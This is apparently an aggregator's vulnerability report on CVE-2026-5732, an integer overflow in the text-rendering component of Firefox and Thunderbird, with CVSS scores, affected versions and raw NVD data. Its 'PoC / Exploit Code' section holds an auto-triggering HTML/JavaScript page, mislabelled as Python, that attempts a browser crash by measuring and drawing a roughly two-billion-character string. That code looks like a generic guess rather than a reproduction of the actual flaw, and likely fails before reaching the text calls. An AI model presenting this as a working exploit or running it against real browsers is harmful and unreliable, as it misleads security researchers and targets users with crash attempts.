Security Vulnerability Report
中文
CVE-2026-5732 CVSS 8.8 HIGH

CVE-2026-5732

Published: 2026-04-07 13:16:47
Last Modified: 2026-04-13 15:17:46

Description

Incorrect boundary conditions, integer overflow in the Graphics: Text component. This vulnerability was fixed in Firefox 149.0.2, Firefox ESR 140.9.1, Thunderbird 149.0.2, and Thunderbird 140.9.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 149.0.2
Mozilla Firefox ESR < 140.9.1
Mozilla Thunderbird < 149.0.2
Mozilla Thunderbird < 140.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-5732: Integer Overflow in Graphics: Text This PoC attempts to trigger the crash via Canvas text manipulation. --> <html> <head><title>CVE-2026-5732 PoC</title></head> <body> <h3>Testing CVE-2026-5732 Integer Overflow</h3> <canvas id="targetCanvas" width="800" height="600"></canvas> <script> function triggerOverflow() { var canvas = document.getElementById('targetCanvas'); var ctx = canvas.getContext('2d'); // Attempting to trigger overflow with specific font settings // and extremely long text string to hit boundary conditions ctx.font = "40px 'Courier New'"; var maliciousText = "A".repeat(0x7FFFFFFF); // Very large string to trigger calculation issues try { // This may cause the integer overflow in the text component ctx.measureText(maliciousText); ctx.fillText(maliciousText, 10, 50); console.log("Payload delivered"); } catch (e) { console.log("Exception caught: " + e.message); } } // Auto-trigger on load window.onload = triggerOverflow; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5732", "sourceIdentifier": "[email protected]", "published": "2026-04-07T13:16:47.463", "lastModified": "2026-04-13T15:17:46.467", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions, integer overflow in the Graphics: Text component. This vulnerability was fixed in Firefox 149.0.2, Firefox ESR 140.9.1, Thunderbird 149.0.2, and Thunderbird 140.9.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.9.1", "matchCriteriaId": "68770777-CF92-4F1C-A7FB-874344D23D39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0.2", "matchCriteriaId": "CF910B3C-C241-48B5-9066-260750E8E7ED"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2017867", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-25/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-27/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-28/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-29/", "source": "[email protected]"}]}}